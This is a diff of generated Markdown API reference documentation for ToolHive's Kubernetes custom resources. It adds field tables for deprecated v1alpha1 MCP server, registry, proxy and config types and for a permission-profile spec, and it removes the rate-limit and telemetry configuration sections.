| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPOIDCConfigSpec](#apiv1beta1mcpoidcconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPOIDCConfigStatus](#apiv1beta1mcpoidcconfigstatus)_ | | | | + + +#### api.v1alpha1.MCPOIDCConfigList + + + +MCPOIDCConfigList contains a list of MCPOIDCConfig. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPOIDCConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPOIDCConfig](#apiv1alpha1mcpoidcconfig) array_ | | | | + + +#### api.v1alpha1.MCPRegistry + + + +MCPRegistry is the deprecated v1alpha1 version of the MCPRegistry resource. +The MCPRegistry CRD as a whole is deprecated and will be removed in a future +release; install the ToolHive registry server via the toolhive-registry-server +Helm chart instead: https://github.com/stacklok/toolhive-registry-server + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPRegistry` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPRegistrySpec](#apiv1beta1mcpregistryspec)_ | | | | +| `status` _[api.v1beta1.MCPRegistryStatus](#apiv1beta1mcpregistrystatus)_ | | | | + + +#### api.v1alpha1.MCPRegistryList + + + +MCPRegistryList contains a list of MCPRegistry. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPRegistryList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPRegistry](#apiv1alpha1mcpregistry) array_ | | | | + + +#### api.v1alpha1.MCPRemoteProxy + + + +MCPRemoteProxy is the deprecated v1alpha1 version of the MCPRemoteProxy resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPRemoteProxy` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPRemoteProxySpec](#apiv1beta1mcpremoteproxyspec)_ | | | | +| `status` _[api.v1beta1.MCPRemoteProxyStatus](#apiv1beta1mcpremoteproxystatus)_ | | | | + + +#### api.v1alpha1.MCPRemoteProxyList + + + +MCPRemoteProxyList contains a list of MCPRemoteProxy. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPRemoteProxyList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPRemoteProxy](#apiv1alpha1mcpremoteproxy) array_ | | | | + + +#### api.v1alpha1.MCPServer + + + +MCPServer is the deprecated v1alpha1 version of the MCPServer resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPServer` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPServerSpec](#apiv1beta1mcpserverspec)_ | | | | +| `status` _[api.v1beta1.MCPServerStatus](#apiv1beta1mcpserverstatus)_ | | | | + + +#### api.v1alpha1.MCPServerEntry + + + +MCPServerEntry is the deprecated v1alpha1 version of the MCPServerEntry resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPServerEntry` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPServerEntrySpec](#apiv1beta1mcpserverentryspec)_ | | | | +| `status` _[api.v1beta1.MCPServerEntryStatus](#apiv1beta1mcpserverentrystatus)_ | | | | + + +#### api.v1alpha1.MCPServerEntryList + + + +MCPServerEntryList contains a list of MCPServerEntry. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPServerEntryList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPServerEntry](#apiv1alpha1mcpserverentry) array_ | | | | + + +#### api.v1alpha1.MCPServerList + + + +MCPServerList contains a list of MCPServer. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPServerList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPServer](#apiv1alpha1mcpserver) array_ | | | | + + +#### api.v1alpha1.MCPTelemetryConfig + + + +MCPTelemetryConfig is the deprecated v1alpha1 version of the MCPTelemetryConfig resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPTelemetryConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPTelemetryConfigSpec](#apiv1beta1mcptelemetryconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPTelemetryConfigStatus](#apiv1beta1mcptelemetryconfigstatus)_ | | | | -#### ratelimit.types.ToolRateLimitConfig +#### api.v1alpha1.MCPTelemetryConfigList -ToolRateLimitConfig defines rate limits for a specific tool. -At least one of shared or perUser must be configured. +MCPTelemetryConfigList contains a list of MCPTelemetryConfig. + -_Appears in:_ -- [ratelimit.types.RateLimitConfig](#ratelimittypesratelimitconfig) | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `name` _string_ | Name is the MCP tool name this limit applies to. | | MinLength: 1
Required: \{\}
| -| `shared` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | Shared token bucket for this specific tool. | | Optional: \{\}
| -| `perUser` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | PerUser token bucket configuration for this tool. | | Optional: \{\}
| - - +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPTelemetryConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPTelemetryConfig](#apiv1alpha1mcptelemetryconfig) array_ | | | | -## toolhive.stacklok.dev/telemetry +#### api.v1alpha1.MCPToolConfig -#### pkg.telemetry.Config +MCPToolConfig is the deprecated v1alpha1 version of the MCPToolConfig resource. -Config holds the configuration for OpenTelemetry instrumentation. -_Appears in:_ -- [vmcp.config.Config](#vmcpconfigconfig) | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `endpoint` _string_ | Endpoint is the OTLP endpoint URL | | Optional: \{\}
| -| `serviceName` _string_ | ServiceName is the service name for telemetry.
When omitted, defaults to the server name (e.g., VirtualMCPServer name). | | Optional: \{\}
| -| `serviceVersion` _string_ | ServiceVersion is the service version for telemetry.
When omitted, defaults to the ToolHive version. | | Optional: \{\}
| -| `tracingEnabled` _boolean_ | TracingEnabled controls whether distributed tracing is enabled.
When false, no tracer provider is created even if an endpoint is configured. | false | Optional: \{\}
| -| `metricsEnabled` _boolean_ | MetricsEnabled controls whether OTLP metrics are enabled.
When false, OTLP metrics are not sent even if an endpoint is configured.
This is independent of EnablePrometheusMetricsPath. | false | Optional: \{\}
| -| `samplingRate` _string_ | SamplingRate is the trace sampling rate (0.0-1.0) as a string.
Only used when TracingEnabled is true.
Example: "0.05" for 5% sampling. | 0.05 | Optional: \{\}
| -| `headers` _object (keys:string, values:string)_ | Headers contains authentication headers for the OTLP endpoint. | | Optional: \{\}
| -| `insecure` _boolean_ | Insecure indicates whether to use HTTP instead of HTTPS for the OTLP endpoint. | false | Optional: \{\}
| -| `enablePrometheusMetricsPath` _boolean_ | EnablePrometheusMetricsPath controls whether to expose Prometheus-style /metrics endpoint.
The metrics are served on the main transport port at /metrics.
This is separate from OTLP metrics which are sent to the Endpoint. | false | Optional: \{\}
| -| `environmentVariables` _string array_ | EnvironmentVariables is a list of environment variable names that should be
included in telemetry spans as attributes. Only variables in this list will
be read from the host machine and included in spans for observability.
Example: ["NODE_ENV", "DEPLOYMENT_ENV", "SERVICE_VERSION"] | | Optional: \{\}
| -| `customAttributes` _object (keys:string, values:string)_ | CustomAttributes contains custom resource attributes to be added to all telemetry signals.
These are parsed from CLI flags (--otel-custom-attributes) or environment variables
(OTEL_RESOURCE_ATTRIBUTES) as key=value pairs. | | Optional: \{\}
| -| `useLegacyAttributes` _boolean_ | UseLegacyAttributes controls whether legacy (pre-MCP OTEL semconv) attribute names
are emitted alongside the new standard attribute names. When true, spans include both
old and new attribute names for backward compatibility with existing dashboards.
Currently defaults to true; this will change to false in a future release. | true | Optional: \{\}
| -| `caCertPath` _string_ | CACertPath is the file path to a CA certificate bundle for the OTLP endpoint.
When set, the OTLP exporters use this CA to verify the collector's TLS certificate
instead of relying solely on the system CA pool. | | Optional: \{\}
| +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPToolConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPToolConfigSpec](#apiv1beta1mcptoolconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPToolConfigStatus](#apiv1beta1mcptoolconfigstatus)_ | | | | +#### api.v1alpha1.MCPToolConfigList +MCPToolConfigList contains a list of MCPToolConfig. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPToolConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPToolConfig](#apiv1alpha1mcptoolconfig) array_ | | | | +#### api.v1alpha1.MCPWebhookConfig -## toolhive.stacklok.dev/v1alpha1 -### Resource Types -- [api.v1alpha1.EmbeddingServer](#apiv1alpha1embeddingserver) -- [api.v1alpha1.EmbeddingServerList](#apiv1alpha1embeddingserverlist) -- [api.v1alpha1.MCPAuthzConfig](#apiv1alpha1mcpauthzconfig) -- [api.v1alpha1.MCPAuthzConfigList](#apiv1alpha1mcpauthzconfiglist) -- [api.v1alpha1.MCPExternalAuthConfig](#apiv1alpha1mcpexternalauthconfig) -- [api.v1alpha1.MCPExternalAuthConfigList](#apiv1alpha1mcpexternalauthconfiglist) -- [api.v1alpha1.MCPGroup](#apiv1alpha1mcpgroup) -- [api.v1alpha1.MCPGroupList](#apiv1alpha1mcpgrouplist) -- [api.v1alpha1.MCPOIDCConfig](#apiv1alpha1mcpoidcconfig) -- [api.v1alpha1.MCPOIDCConfigList](#apiv1alpha1mcpoidcconfiglist) -- [api.v1alpha1.MCPRegistry](#apiv1alpha1mcpregistry) -- [api.v1alpha1.MCPRegistryList](#apiv1alpha1mcpregistrylist) -- [api.v1alpha1.MCPRemoteProxy](#apiv1alpha1mcpremoteproxy) -- [api.v1alpha1.MCPRemoteProxyList](#apiv1alpha1mcpremoteproxylist) -- [api.v1alpha1.MCPServer](#apiv1alpha1mcpserver) -- [api.v1alpha1.MCPServerEntry](#apiv1alpha1mcpserverentry) -- [api.v1alpha1.MCPServerEntryList](#apiv1alpha1mcpserverentrylist) -- [api.v1alpha1.MCPServerList](#apiv1alpha1mcpserverlist) -- [api.v1alpha1.MCPTelemetryConfig](#apiv1alpha1mcptelemetryconfig) -- [api.v1alpha1.MCPTelemetryConfigList](#apiv1alpha1mcptelemetryconfiglist) -- [api.v1alpha1.MCPToolConfig](#apiv1alpha1mcptoolconfig) -- [api.v1alpha1.MCPToolConfigList](#apiv1alpha1mcptoolconfiglist) -- [api.v1alpha1.MCPWebhookConfig](#apiv1alpha1mcpwebhookconfig) -- [api.v1alpha1.MCPWebhookConfigList](#apiv1alpha1mcpwebhookconfiglist) -- [api.v1alpha1.VirtualMCPCompositeToolDefinition](#apiv1alpha1virtualmcpcompositetooldefinition) -- [api.v1alpha1.VirtualMCPCompositeToolDefinitionList](#apiv1alpha1virtualmcpcompositetooldefinitionlist) -- [api.v1alpha1.VirtualMCPServer](#apiv1alpha1virtualmcpserver) -- [api.v1alpha1.VirtualMCPServerList](#apiv1alpha1virtualmcpserverlist) +MCPWebhookConfig is the Schema for the mcpwebhookconfigs API. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPWebhookConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPWebhookConfigSpec](#apiv1beta1mcpwebhookconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPWebhookConfigStatus](#apiv1beta1mcpwebhookconfigstatus)_ | | | | +#### api.v1alpha1.MCPWebhookConfigList +MCPWebhookConfigList contains a list of MCPWebhookConfig. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPWebhookConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPWebhookConfig](#apiv1alpha1mcpwebhookconfig) array_ | | | | +#### api.v1alpha1.VirtualMCPCompositeToolDefinition +VirtualMCPCompositeToolDefinition is the deprecated v1alpha1 version of the VirtualMCPCompositeToolDefinition resource. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `VirtualMCPCompositeToolDefinition` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.VirtualMCPCompositeToolDefinitionSpec](#apiv1beta1virtualmcpcompositetooldefinitionspec)_ | | | | +| `status` _[api.v1beta1.VirtualMCPCompositeToolDefinitionStatus](#apiv1beta1virtualmcpcompositetooldefinitionstatus)_ | | | | +#### api.v1alpha1.VirtualMCPCompositeToolDefinitionList +VirtualMCPCompositeToolDefinitionList contains a list of VirtualMCPCompositeToolDefinition. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `VirtualMCPCompositeToolDefinitionList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.VirtualMCPCompositeToolDefinition](#apiv1alpha1virtualmcpcompositetooldefinition) array_ | | | | +#### api.v1alpha1.VirtualMCPServer +VirtualMCPServer is the deprecated v1alpha1 version of the VirtualMCPServer resource. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `VirtualMCPServer` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.VirtualMCPServerSpec](#apiv1beta1virtualmcpserverspec)_ | | | | +| `status` _[api.v1beta1.VirtualMCPServerStatus](#apiv1beta1virtualmcpserverstatus)_ | | | | +#### api.v1alpha1.VirtualMCPServerList +VirtualMCPServerList contains a list of VirtualMCPServer. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `VirtualMCPServerList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.VirtualMCPServer](#apiv1alpha1virtualmcpserver) array_ | | | | @@ -1282,6 +1861,17 @@ _Appears in:_ | `softwareStatement` _string_ | SoftwareStatement is the RFC 7591 "software_statement" JWT asserting
metadata about the client software, signed by a party the authorization
server trusts.
Stored inline on the CR. The JWT is signed but not encrypted, so its
contents are visible to anyone with get/list/watch on this resource and
appear in etcd backups in plaintext. Treat the value as non-confidential
(signed attestation, not a secret). Operators that rotate software
statements like bearer credentials should keep them at the authorization
server side and rely on the registration endpoint's initial access
token (see InitialAccessTokenRef) instead of placing them on the CR.
Bounded to 16384 characters as a defensive size cap (etcd object
budget, regex evaluation cost). Real-world signed statements with
embedded x5c certificate chains, JWKS keys, or OIDC-Federation
trust-framework metadata routinely exceed 4 KB. | | MaxLength: 16384
Optional: \{\}
| +#### api.v1beta1.DiscoveredBackend + + + +DiscoveredBackend is an alias to the canonical definition in pkg/vmcp/types.go +This provides a local name for use in the CRD status. + + + + + #### api.v1beta1.EmbeddedAuthServerCIMDConfig @@ -3156,6 +3746,21 @@ _Appears in:_ | `key` _string_ | Key is the key in the ConfigMap that contains the permission profile
Only used when Type is "configmap" | | Optional: \{\}
| +#### api.v1beta1.PermissionProfileSpec + + + +PermissionProfileSpec defines the permissions for an MCP server + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `read` _string array_ | Read is a list of paths that the MCP server can read from | | Optional: \{\}
| +| `write` _string array_ | Write is a list of paths that the MCP server can write to | | Optional: \{\}
| +| `network` _[api.v1beta1.NetworkPermissions](#apiv1beta1networkpermissions)_ | Network defines the network permissions for the MCP server | | Optional: \{\}
| #### api.v1beta1.PrometheusConfig @@ -3194,6 +3799,27 @@ _Appears in:_ | `imagePullSecrets` _[LocalObjectReference](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#localobjectreference-v1-core) array_ | ImagePullSecrets allows specifying image pull secrets for the proxy runner
These are applied to both the Deployment and the ServiceAccount | | Optional: \{\}
